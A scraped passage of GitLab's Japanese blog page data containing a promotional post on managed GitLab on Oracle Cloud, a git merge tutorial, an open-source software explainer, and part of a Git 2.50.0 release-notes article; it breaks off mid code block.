Self-Managedのメリットはそのままに、これらの運用負荷を軽減します。インフラストラクチャを自社で構築・維持する代わりに、Data Intensity社の専門家チームが管理し、OCIの高性能クラウドインフラストラクチャ上で動作する専用のGitLabインスタンスを利用できます。\n\nサービスの内容：\n\n* OCIインフラストラクチャ上で稼動する専用GitLabインスタンス\n* 24時間365日の監視、アラート、サポート\n* お客様が選択したメンテナンス期間内に実施される四半期ごとのパッチ適用\n* 自動バックアップとディザスタリカバリ保護\n\n## 組織の成長に合わせたスケーリング\n\nData Intensity社のマネージドサービスは、チームの成長に合わせて設計されており、お客様固有のユーザー数要件とリカバリ要件に合わせた階層型アーキテクチャを提供します。\n\n| **機能**          | **Standard** | **Premier** | **Premier +** |\n| --------------- | ------------ | ----------- | ------------- |\n| **ユーザー数**       | 最大1,000      | 最大2,000     | 最大3,000       |\n| **パフォーマンス**     | 20リクエスト/秒    | 40リクエスト/秒   | 60リクエスト/秒     |\n| **可用性**         | 99.9%        | 99.95%      | 99.99%        |\n| **リカバリ時間（RTO）** | 48時間         | 8時間         | 4時間           |\n\n詳細については、Data Intensity社のウェブサイトで[DevSecOps-as-a-Service](https://www.dataintensity.com/services/security-services/devsecops/)の詳細をご覧ください。\n\n## GitLabがOCIを選ぶ理由\n\nOracle Cloud Infrastructure（OCI）は、GitLab Self-Managedを実行するための堅牢な基盤となり、他のハイパースケーラーよりも大幅に低いコストで、安全で高性能な環境を実現します。OCIにワークロードを移行する組織は、一般的にインフラストラクチャコストを40〜50%削減できるため、デプロイメントの資金調達と拡張が容易になります。\n\nOCIは、パブリッククラウドリージョンから、GovernmentやEU Sovereign Cloudsなどの特殊な環境、さらにはファイアウォールの背後にデプロイされる専用インフラストラクチャまで、幅広いデプロイメントモデルをサポートしています。これらのオプションはいずれも、一貫した価格設定、ツール、運用エクスペリエンスで利用でき、チームは規制対象、ハイブリッド、グローバルの環境全体でGitLabデプロイメントを標準化できます。\n\nGitLabの包括的なDevSecOpsプラットフォーム、OCIの高性能インフラストラクチャ、Data Intensity社のマネージドサービスの専門知識の組み合わせにより、チームが最も重要なこと、つまり優れたソフトウェアの構築に集中できるターンキーソリューションを提供します。\n\n## このサービスを選ぶべき組織とは？\n\n以下の点に当てはまる場合は、Data Intensity社のDevSecOps-as-a-Serviceをご検討ください。\n\n* GitLab Self-Managedを導入したいが、運用上の負荷は最小限に抑えたい\n* 固有のコンプライアンス、セキュリティ、またはデータレジデンシー要件がある\n* SLA保証とプロフェッショナルなディザスタリカバリ機能が必要だ\n* 社内でインフラストラクチャの専門家を育成するよりも、予測可能なコストとエキスパートによる管理が望ましい\n* すでにOCIをクラウドインフラストラクチャに使用しているか、使用を計画している\n* 柔軟性と制御性が最優先である\n* 管理は外部に任せたいが、セルフマネージド環境の制御性は実現できる専用インスタンスがほしい\n\n## 導入するには\n\nData Intensity社のDevSecOps-as-a-Serviceを使用してOCI上でGitLab Self-Managedを実行したいとお考えなら、[Data Intensity社のウェブサイト](https://www.dataintensity.com/services/security-services/devsecops/)からData Intensity社にご連絡ください。具体的な要件についてお話しして、デプロイメント計画を開始できます。\n\n複雑な作業を行わなくても、DevSecOpsのモダナイズは実現できます。Data Intensity社は、OCIへのスムーズな移行を確実にするため、オプションでコードリポジトリとカスタマイズの移行を提供しています。\n\nGitLabがパートナーエコシステムを拡大し続ける中、こうしたソリューションは、SaaS、セルフマネージド、または信頼できるパートナーを通じたマネージドサービスなど、組織がGitLabをデプロイおよび管理するさまざまな選択肢を用意するという、当社のコミットメントの一環です。",[257,795],"最小限の運用負荷でGitLab Self-Managedを実行。Data Intensity社が、OCI上でエキスパートによる管理とディザスタリカバリを実装したDevSecOps-as-a-Serviceを実現します。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png",{"featured":13,"template":784,"slug":1046},"devsecops-as-a-service-on-oracle-cloud-infrastructure-by-data-intensity",{"category":735,"slug":733,"posts":1048},[1049,1060,1072],{"content":1050,"config":1058},{"date":1051,"heroImage":1052,"title":1053,"authors":1054,"category":733,"body":1055,"description":1056,"tags":1057},"2025-08-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1754287290/averr2ecwl01q2f9lknf.jpg","git mergeコマンドの基本を徹底解説",[1002],"## 目次\n\n1. [git mergeとは？](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%A8%E3%81%AF%EF%BC%9F)\n2. [git mergeコマンドの基本](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E5%9F%BA%E6%9C%AC)\n3. [マージ先のブランチを準備する](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E3%83%9E%E3%83%BC%E3%82%B8%E5%85%88%E3%81%AE%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E3%82%92%E6%BA%96%E5%82%99%E3%81%99%E3%82%8B)\n4. [最新のリモートコミットをフェッチする](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%9C%80%E6%96%B0%E3%81%AE%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%82%92%E3%83%95%E3%82%A7%E3%83%83%E3%83%81%E3%81%99%E3%82%8B)\n5. [早送りマージと３ウェイマージ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%97%A9%E9%80%81%E3%82%8A%E3%83%9E%E3%83%BC%E3%82%B8%E3%81%A8%EF%BC%93%E3%82%A6%E3%82%A7%E3%82%A4%E3%83%9E%E3%83%BC%E3%82%B8)\n6. [git mergeによるコンフリクトの解決](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%AB%E3%82%88%E3%82%8B%E3%82%B3%E3%83%B3%E3%83%95%E3%83%AA%E3%82%AF%E3%83%88%E3%81%AE%E8%A7%A3%E6%B1%BA)\n7. [git mergeコマンドのベストプラクティス](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n8. [GitLabでgit mergeを使う](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n9. [git merge のFAQ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89-%E3%81%AEfaq)\n\n## git mergeとは？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。別のリポジトリからの変更を組み込む際にも使われ、git pull（git fetchとgit mergeを組み合わせたもの）の一部としても機能します。チームで開発を実施するときなどにmainブランチから作業用ブランチを作り、テストをしてからマージ、プッシュすることも多いでしょう。\n\nたとえば、main ブランチに基づいて作成された新しいブランチ’feature’があるとします。この feature ブランチを main にマージするのに使われるのがgit mergeコマンドです。\n\n## git mergeコマンドの基本\n\ngit mergeの基本的なコードは次のようになります。\n\n```shell\ngit merge BRANCH_NAME\n```\n\nブランチ名は、取り込みたいブランチの名前を入力します。\n\n一見簡単そうですが、マージをスムーズに実行するにはいくつか準備が必要となりますので、次の章で確認しましょう。\n\n## マージ先のブランチを準備する\n\ngit status を実行して、HEAD が取り込む先のブランチであることを確認します。必要に応じて\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを実行して、マージする先のブランチに切り替えます。\n\n## 最新のリモートコミットをフェッチする\n\nリモートで変更を加えたら、マージ先ブランチとマージ元ブランチに最新の変更内容を反映させます。その際は、[git fetchとgit pull](https://about.gitlab.com/ja-jp/blog/what-is-the-difference-between-git-fetch-and-git-pull/)を使います。その後、リモートで加えた変更内容がmainブランチに反映されていることを確認します。\n\n## 早送りマージと３ウェイマージ\n\n早送りマージは、ブランチが分岐していない場合にのみ使えるコマンドです。早送りマージでは、マージ自体は行われませんが、ブランチの先頭とブランチの末尾の履歴を結合することで、旧ブランチからアクセスできたコミットが、新ブランチからも利用できるようになります。\n\n強制的に早送りマージを実施する場合は以下のコードを使います（分岐がある場合など早送りマージができない場合にはエラーとなりマージはできません）\n\n```shell\ngit merge --ff-only\n```\n\n一方、ブランチが分岐している場合には、早送りマージを適用することはできず、マージする手段は３ウェイマージに限られます。３ウェイマージは、3 つのコミット （2 つのブランチのそれぞれ先端のコミットと履歴を統合するために生成される専用のコミット）を使用してマージコミットを生成することから来ています。\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを使うと、早送りマージが可能な時は早送りマージを実施し、できない時に３ウェイマージを実施します。\n\n## git mergeによるコンフリクトの解決\n\nマージの基本を理解すると、同じ箇所を同時に更新してしまったらどうなるのか、という疑問を持たれる方もいるのではないでしょうか。この場合、Git側ではどちらを優先すべきか判断ができず、手作業でコンフリクトを解決することを求めます。\n\nエラーメッセージは次のように表示されます。\n\n```shell\ngit merge BRANCH_NAME\nAuto-merging index.html\nCONFLICT (content): Merge conflict in index.html\nAutomatic merge failed; fix conflicts and then commit the result.\n```\n\nコンフリクトを解決するまで、処理は中断されます。どのファイルでコンフリクトが発生してマージできなかったのを確認するにはgit status を実行します。\n\n```shell\ngit status\n```\n\n未解決のコンフリクトについては unmerged として表示されます。標準的なコンフリクトマーカーがファイルに追加されるため、該当ファイルから修正できます。git addを実行して、コンフリクトが解決したことを Git に通知します。続いて通常の git commit を実行してマージ コミットを生成します。\n\n## git mergeコマンドのベストプラクティス\n\ngit mergeコマンドでよく起こる問題として、他のデベロッパーが加えた変更を破棄してしまうことが挙げられます。個々人がこまめにgit mergeを実行することで、変更を破棄してしまう問題は避けることができますが、マージそのもののコストが膨れ上がる可能性があります。複雑なコンフリクトが出ない場合に自動マージしてくれるようなツールの導入は、git mergeを使うチームの大きな手助けになるはずです。\n\n## GitLabでgit mergeを使う\n\ngit mergeのベストプラクティスとしてツールの使用をおすすめしましたが、[GitLab](https://about.gitlab.com/ja-jp/)なら自動マージ機能のほかにもリモートリポジトリのホスティング、インターフェースの提供、変更内容のコードレビュー、プッシュされたコードの自動ビルド、テスト、デプロイまでを一括で管理できます。\n\ngit mergeで起きるコンフリクトを自動で解決できるGitLabの無料トライアルは[こちら](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/&glm_content=default-saas-trial)からお申し込みいただけます。\n\n## git mergeコマンド のFAQ\n\n### git mergeコマンドとは何ですか？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。\n\n### mainブランチにマージするにはどうしたらいいですか？\n\nまず、\u003Ccode>git checkout BRANCH_NAME\u003C/code>を使ってmainブランチに移動します。\n\n次に\u003Ccode>git merge BRANCH_NAME\u003C/code>を使ってマージしたいブランチを指定します。\n\nマージ先ブランチ名）master\\\nマージするブランチ名）feature1の場合には\n\n```xml\n\u003Ccode>git checkout master\u003C/code>\n\u003Ccode>git merge feature1\u003C/code>\n```\n\n\\\nとなります。\n\n### git mergeとgit rebaseの違いは何ですか？\n\ngit mergeとgit rebaseはどちらもブランチを結合するコマンドです。mergeが新しいコミットを生成してコミット履歴が分散してしまうのに対し、rebaseはコミット履歴をひとつのブランチにまとめます。rebaseはログを整理する目的で使われることが多いですが、別のブランチで他のメンバーが加えた変更の履歴を消してしまう可能性などがあるので、上級者向けのコマンドといえます。\n\n*監修：知念 梨果* *[@rikachinen](https://gitlab.com/rikachinen)（GitLab合同会社 カスタマーサクセス本部 カスタマーサクセスエンジニア）*\n","この記事では、git mergeコマンドについてコマンドの基本的な使い方からリクエストコードまで解説します。",[964,980,796,808],{"featured":13,"template":784,"slug":1059},"git-merge-command-overview",{"content":1061,"config":1070},{"title":1062,"description":1063,"authors":1064,"heroImage":1065,"date":1066,"body":1067,"category":733,"tags":1068},"オープンソースソフトウェア（OSS）とは？詳しく解説​","オープンソースの意味や、メリットとデメリットについて、分かりやすく解説します。",[1002],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720740/g9x8oi988xuhioglpczi.jpg","2025-07-17","## オープンソースとは？\n\nオープンソースとは、ソフトウェアのコードが公開され、誰もが利用、改良、再配布できるという仕組みのことを指します。「オープンソースソフトウェア」と同義で使用されることが多いです。\n\n## オープンソースソフトウェア（OSS）とは？\n\nオープンソースソフトウェアはOSSとも記述され、Open Source Softwareの略称です。一般的な商用ソフトウェアとは異なり、誰でも利用、改良、再配布ができるようソースコードが公開されています。これにより個人や企業のデベロッパーは、各々の環境に合わせてソフトウェアを自由に改変し、特定の用途や問題に最適化することが容易にできます。ただし、OSSによってはライセンス制約が存在する場合もあります。\n\nフリー（無料）ソフトと混同されることがありますが、フリーソフトのほとんどはソースコードが非公開です。よって、ソースコードが公開されているかどうかで、OSSかの判断をするのが一般的です。\n\n## オープンソースソフトウェアの基本原則\n\nオープンソフトウェアに明確な定義はありませんが、「ソースコードが公開されていること」以外にも広く認知されている要件があります。これら要件は、米国のOpen Source Initiative（OSI）という団体が提唱した以下10項目を指すのが一般的です。\n\n* 再配布の自由\n* ソースコードの配布\n* 派生ソフトウェアの配布許可\n* 作成者のオリジナルコードの完全性\n* 個人やグループに対する差別禁止\n* 使用分野に対する差別禁止\n* ライセンスの配布\n* 特定製品でのみ有効なライセンスの禁止\n* 他ソフトウェアを制限するライセンスの禁止\n* ライセンスの技術的中立\n\n要約するとOSSの基本原則は、ユーザーやデベロッパーに自由を提供し、協力的な環境を促進することと言えます。ただし、「自由」ではあるものの、ライセンスによって一定のルールは設定されています。例えば、GPLやMITライセンスは、OSSに付随するライセンスの利用や再配布、改変の範囲を規定し、自由利用を促進しつつも、デベロッパーやユーザーの権利を保護しています。OSS利用の際は、こういったライセンスルールを理解し、遵守することを忘れないようにしましょう。ライセンスについては後ほど詳しく解説します。\n\n## オープンソースソフトウェアの具体例\n\nどういったソフトウェアがOSSなのかと問われると、すぐには思いつかないかもしれません。実際に、どういったソフトが様々な分野で活躍しているのかいくつかご紹介しましょう。\n\n### WordPress\n\nWordPressという名前は、誰もが一度は聞いたことがあるでしょう。WordPressはウェブサイトを簡単に作成できるコンテンツ管理システム（CMS）で、世界中でもっとも利用されているCMSとなっています。ウェブサイトデベロッパーは自由にカスタマイズを行うことができ、また、活発なコミュニティで互いをサポートし合うことにより、新たな拡張機能の開発等に貢献しています。\n\n### GIMP\n\nGIMPは、イラストレーター、グラフィックデザイナー、フォトグラファー、サイエンティストなど画像を扱う専門家に人気の画像編集ソフトウェアです。ユーザーは無料でダウンロードして利用でき、WordPressと同じく活発なコミュニティが、日々のバグ修正や、新プラグインを開発をサポートしています。\n\n### Brave Browser\n\nBraveは、ユーザーのプライバシー保護を主眼としたウェブブラウザであり、広告やトラッキングを防止してくれます。さらに、独自の暗号通貨（BAT）や検索システムを開発しているなどの理由で、デベロッパー間では人気のブラウザの一つです。Braveもオープンソースであるため、個人が自由にブラウザ機能をカスタマイズしたり、新たに機能を追加したりすることができる仕様となっています。\n\n### GitLabのオープンソースプロジェクト\n\n[GitLabプラットフォーム](https://about.gitlab.com/ja-jp/)を利用して開発されているオープンソースプロジェクトをいくつかご紹介します。\n\n#### Drupal\n\nDrupalはWordPressと同様に、オープンソースのコンテンツ管理システム（CMS）です。堅牢性と拡張性の高さが評価されており、NASAや経済産業省といった政府機関や、Teslaなどの企業に採用されています。\n\n#### VLC\n\nWindowsやMacにとどまらず、LinuxやiOS等でも使うことできる、メディアプレイヤーです。多様な種類の音声や動画ファイルを再生でき、様々なファイル形式に対応しています。広告等、ユーザーにとって不要な機能が一切搭載されておらず、世界中で広く利用されています。\n\n#### LibreOffice\n\nMicrosoft Officeとよく比較されることがあるのが、LibreOfficeです。無料で利用することができ、様々なオフィスツールを提供することから、たくさんの企業や個人に使用されています。\n\n## オープンソース開発のメリットとデメリット\n\nOSSの開発には様々なメリットとデメリットがあります。開発手法についての議論は付きませんが、ここでは言及されることが多いポイントをいくつか挙げてみます。\n\n### メリット\n\n#### コミュニティによる自発的なサポートと開発\n\nオープンソース開発は通常、世界中のデベロッパーが参加した活発なコミュニティを形成しています。多種多様なバックグランドを持つ個々のユーザーたちがお互いにアイデアやフィードバック、サポートし合うことを基本とし、継続的な開発とサポートをしてくれます。\n\n#### 高い透明性に担保された信頼とセキュリティ\n\nOSSの信頼とセキュリティは、誰もがソースコードを参照できることで実現されています。\n\nまず、たくさんのデベロッパーの目に触れるため、脆弱性やバグが比較的早い段階で発見されます。これにより、セキュリティを高レベルに引き上げることができます。そして、ソースコードが公開されているため、不正な動作やバックドアの存在といったリスクを排除しやすく、ソフトウェアの信頼性を高めてくれます。\n\n#### 開発にかかる時間と費用の削減\n\nオープンソースソフトウェアは大抵が無料で、自由にソースコードを改変できます。よって、ライセンス料とスクラッチ開発が不要であり、個人や企業の費用と開発時間を大幅に削減してくれます。\n\n### デメリット\n\n#### 開発プロジェクトの継続性\n\nオープンソース開発は、有志が中心となって行われる場合が多いため、プロジェクトが遅延したり、突然中止となったりするリスクがあります。また、安定した開発スケジュールが維持されないこともあります。\n\nプロジェクトの多くは無償、スポンサー、寄付で成り立っていることが一般的なので、開発コアメンバーが抜けた、資金が枯渇してしまった、などの理由から開発自体が立ち行かなくなることもあります。\n\n#### 責任の所在が曖昧\n\nコミュニティ主導で開発が進められる場合、ユーザーにバグや他ソフトと統合できないといった問題が発生しても商用ソフトウェアとは異なり、自己解決しなくてはならないケースが通常です。迅速かつ的確なサポートが受けづらいケースも、発生することがあります。\n\n#### ライセンスの準拠で\n\n当然ながら、OSSにもライセンスが存在します。無条件に利用や再配布ができるわけではないので、しっかりとライセンスを理解した上で使用しなければいけません。ライセンス規約に違反してしまい、過去には訴訟に発展したケースもあるため、注意が必要です。詳しくは後ほど解説します。\n\n### オープンソースの課題とGitLabのアプローチ\n\nGitLabというプラットフォームが、OSSにおける課題に対してどう取り組んでいるかについて、いくつかご紹介しましょう。詳細を知りたい場合は、[オープンソースプロジェクト向けのGitLabソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を読んでみてください。\n\n#### 脆弱性の早期発見と修正\n\nオープンソースは、コードが公開されているため、悪意のある人物が脆弱性を発見してしまうリスクがあります。\n\n[DevSecOpsプラットフォーム](https://about.gitlab.com/ja-jp/topics/devsecops/)であるGitLabは、開発プロセス全体においてセキュリティを重要視しています。静的アプリケーションセキュリティテスト（SAST）や依存関係スキャンといった強力なツールが、早期の脆弱性発見と修正を実現する仕組みを実現します。\n\n#### サポートの補完\n\nOSSはコミュニティによるサポートが中心となり、的確なサポートや迅速な対応を受けられないケースが発生することがあります。\n\n[商用版GitLab](https://about.gitlab.com/ja-jp/pricing/)には、「GitLab Premium」「GitLab Ultimate」があり、公式サポートという選択肢が用意されています。また、コミュニティの結束を高める働きかけをすることで自発的サポートも促進しています。\n\n#### コミュニティの活性化\n\n活発なコミュニティなしに、OSSを成功させることはできませんが、これを維持するのは容易ではありません。\n\nGitLabは、[GitLabフォーラム](https://forum.gitlab.com/c/community/gitlab-for-open-source/49)を運営したり、[オープンソース団体向けプログラム](https://about.gitlab.com/ja-jp/solutions/open-source/join/)を実施、GitLabハッカソンやオンラインイベントを開催したりすることで、デベロッパー同士の繋がりを促進、コミュニティの活性化と拡大に貢献しています。\n\n## オープンソースのライセンスとその重要性\n\nオープンソースのライセンスは、ソフトウェアの利用、配布、変更等に関する権利と制限を明記したものであり、法的拘束力を持ちます。よって、ソフト利用者はこれをしっかりと理解した上で、トラブル回避をすることが望ましいといえます。\n\nまた、ソフトウェアデベロッパーがどのライセンス規約にするかを考える場合には、透明性を重視するのか、自由度を重視するのかなどにより選択するライセンスが異なってきます。ここでは、いくつか代表的なものをご紹介しましょう。\n\n以下に表としてまとめてみました。\n\n![オープンソース　ライセンスのタイプと代表例](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720035/v9ld6h78ilk22x30nged.jpg)\n\n### コピーレフト\n\nコピーレフトライセンスは、元となるソフトウェアを再配布する時には、派生物も元OSSと同じ条件下で行う必要があるというものです。このタイプのライセンスは、非常に伝播性が強いのが特徴です。\n\nまたコピーレフトという言葉は、「コピーライト」をもじったものから誕生しました。\n\n### 準コピーレフト\n\nコピーレフトと比べ、伝播性が多少弱いのが準コピーレフトです。元のOSSのソースコードを再利用した時に、元のライセンスと同条件で再配布する必要があります。\n\n### 非コピーレフト\n\nパーミッシブライセンスとも呼ばれます。名前の通りですが、元のOSSと同条件のライセンスにする必要がありません。ソースコードの公開義務がないため、商用利用されることが多いです。\n\n## よくある質問\n\n### オープンソースソフトウェア（OSS）とは何ですか？\n\nOSSとは、ソースコードが公開され、誰でも自由に利用、修正、配布できるソフトウェアのことです。\n\n### OSSのセキュリティは安心ですか？\n\nOSSライセンスは、ソフトウェアの利用や再配布に関する自由と制約を明確に定義したものです。\n\n### OSSのライセンスにはどんな種類がありますか？\n\nライセンスにはGPL、MIT、Apache Licenseなど、異なる自由度や利用条件を持つものがあり、コピーレフト、準コピーレフト、非コピーレフトの３つに大別されます。\n\n### なぜ企業がOSSを採用するのですか？\n\nコスト削減、柔軟性、信頼性向上、技術コミュニティとの連携が理由となる場合が多いです。またGitLabでは、[オープンソースプロジェクト向けのソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を提供しています。ぜひご確認ください。\n\n*監修：佐々木 直晴* [@naosasaki](https://gitlab.com/naosasaki)*（GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト）*",[964,242,1069,758],"open source",{"featured":13,"template":784,"slug":1071},"what-is-open-source",{"content":1073,"config":1082},{"title":1074,"description":1075,"authors":1076,"heroImage":1078,"body":1079,"date":1080,"category":733,"tags":1081},"Git 2.50.0の新機能","git-diff-pairs(1)コマンドや、参照の一括更新を行うためのgit-rev-list(1)オプションなど、GitLabのGitチームとGitコミュニティによるコントリビュートをご紹介します。",[1077],"Justin Tobler","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","Gitプロジェクトは最近、[Gitバージョン2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u)をリリースしました。今回のリリースの注目すべきポイントをいくつかご紹介します。これには、GitLabのGitチームやより広範なGitコミュニティからのコントリビュートも含まれています。\n## 新しいgit-diff-pairs(1)コマンド\n\n差分は、すべてのコードレビューの中心となるもので、2つのリビジョン間で行われた\nすべての変更を表示します。GitLabでは、さまざまな場所で差分が表示されますが、最も\n一般的なのはマージリクエストの[「変更」タブ](https://docs.gitlab.com/user/project/merge_requests/changes/)です。\nその裏側では、差分の生成に[`git-diff(1)`](https://git-scm.com/docs/git-diff)が\n使われています。たとえば、以下のように使います。\n\n```shell\n$ git diff HEAD~1 HEAD\n```\n\nこのコマンドは、変更されたすべてのファイルの完全な差分を返します。ただし、リビジョン間で変更されたファイル数が非常に多い場合、スケーラビリティの課題が生じる可能性があります。GitLabのバックエンドでは、コマンドが自己設定されたタイムアウトに達してしまうこともあります。変更数が多い場合、\n差分の計算をより小さく扱いやすい単位に分割できる方法があれば、より効果的です。\n\nこの課題を解決する1つの方法は、\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree)を使って、\n変更されたすべてのファイルに関する情報を取得することです。\n\n```shell\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n```\n\nGitはこの出力を[「raw」フォーマット](https://git-scm.com/docs/git-diff-tree#_raw_output_format)と呼んでいます。\n簡単に言えば、出力の各行にはファイルのペアと、\nそれらの間で何が変更されたかを示すメタデータが表示されます。大規模な変更に対して\n「パッチ」形式の出力を生成する方法と比べて、\nこの処理は比較的高速な上、すべての変更の概要を把握できます。また、このコマンドでは、`-M`フラグを付けることでリネーム検出を有効にし、変更がファイルのリネームによるものかどうかを判別することもできます。\n\nこの情報を使えば、`git-diff(1)`を使って各ファイルペアの差分を\n個別にコンピューティングすることができます。たとえば、以下のようにblob IDを\n直接指定することも可能です。\n\n```shell\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n```\n\nこの処理は、各ファイルペアごとに繰り返すことができますが、\n個別のファイル差分ごとにGitプロセスを立ち上げるのは、あまり効率的ではありません。\nさらに、blob IDを使った場合、変更ステータスやファイルモードといった、\n親ツリーオブジェクトに格納されているコンテキスト情報が差分から失われてしまいます。\n本当に必要なのは、「raw」なファイルペア情報を元に、\n対応するパッチ出力を生成する仕組みです。\n\nバージョン2.50から、Gitに新しい組み込みコマンド\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs)が追加されました。このコマンドは、\n標準入力（stdin）から「raw」形式のファイルペア情報を受け取り、どのパッチを出力すべきかを正確に判断します。以下の例は、\nこのコマンドの使用方法を示しています。\n\n```shell\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n```\n\nこのように使用した場合、出力結果は`git-diff(1)`を使った場合と同じになります。\nパッチ出力を生成する専用コマンドを分けることで、\n`git-diff-tree(1)`から得られた「raw」出力を、より小さなファイルペアのバッチに分割し、それぞれを別々の\n`git-diff-pairs(1)`プロセスにフィードすることができます。これにより、差分を一度にすべてコンピューティングする必要がなくなるため、\n先に挙げたスケーラビリティの課題が解決されます。今後のGitLabリリースでは、\nこの仕組みの応用により、\n特に変更量が多い場合における差分生成のパフォーマンス向上が\n期待されます。この変更についての詳細は、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/)をご覧ください。\n\n_このプロジェクトは[Justin Tobler](https://gitlab.com/justintobler)が主導しました。_\n\n## 参照更新の一括処理\n\nGitには、参照を更新するための[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\nコマンドが用意されています。このコマンドを`--stdin`フラグとともに使用すると、\n複数の参照を1つのトランザクションとしてまとめて更新できます。\nこれを行うには、各参照更新の指示を標準入力（stdin）で指定します。\nこの方法で参照を一括更新すると、アトミックな動作も実現できます。つまり、1つでも参照の更新に失敗した場合、\nトランザクション全体が中断され、\nどの参照も更新されません。以下は、この動作を示す例です。\n\n```shell\n# 3つの空のコミットと「foo」という名前のブランチを持つリポジトリを作成する\n$ git init\n$ git commit --allow-empty -m 1\n$ git commit --allow-empty -m 2\n$ git commit --allow-empty -m 3\n$ git branch foo\n\n# コミットIDを出力する\n$ git rev-list HEAD\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n5a74cd330f04b96ce0666af89682d4d7580c354c\n5a6b339a8ebffde8c0590553045403dbda831518\n\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n# 指定された古いオブジェクトIDが一致しないため、更新は失敗することが予想されます。\n$ git update-ref --stdin \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n# 「bar」リファレンスは作成されませんでした。\n$ git switch bar\nfatal: invalid reference: bar\n```\n\n多くの参照を個別に更新する場合と比べて、一括で更新するほうがはるかに効率的です。\nこの方法は基本的にうまく機能しますが、\n一括更新による効率面のメリットを優先するために、\nリクエストされた参照更新の一部が失敗することを許容したい場合も\nあります。\n\n今回のリリースで、`git-update-ref(1)`に新しく`--batch-updates`オプションが追加されました。\nこのオプションを使用すると、1つ以上の参照更新が失敗しても、処理を続行できるようになります。\nこのモードでは、個々の失敗が次の形式で出力されます。\n\n```text\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n```\n\nこれにより、成功した参照の更新はそのまま進行しつつ、どの更新が拒否されたのか、\nまたその理由についての情報も得ることができます。前の例と同じリポジトリを\n使った例は以下のとおりです。\n\n```shell\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n# 「foo」への更新が拒否されたにもかかわらず、「bar」参照が作成されました。\n$ git switch bar\nSwitched to branch 'bar'\n```\n\n今回は`--batch-updates`オプションを使用したことで、\n更新処理が失敗しても参照の作成は成功しました。この一連のパッチは、\n`git-fetch(1)`や`git-receive-pack(1)`における今後の一括参照更新時の\nパフォーマンス改善の基盤となります。詳細については、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)をご覧ください。\n\n_このプロジェクトは、[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## git-cat-file(1)の新しいフィルタオプション\n\n[`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file)を使うと、\nリポジトリ内に含まれるすべてのオブジェクトの情報を\n`--batch–all-objects`オプションで出力できます。たとえば、以下のように実行します。\n\n```shell\n# 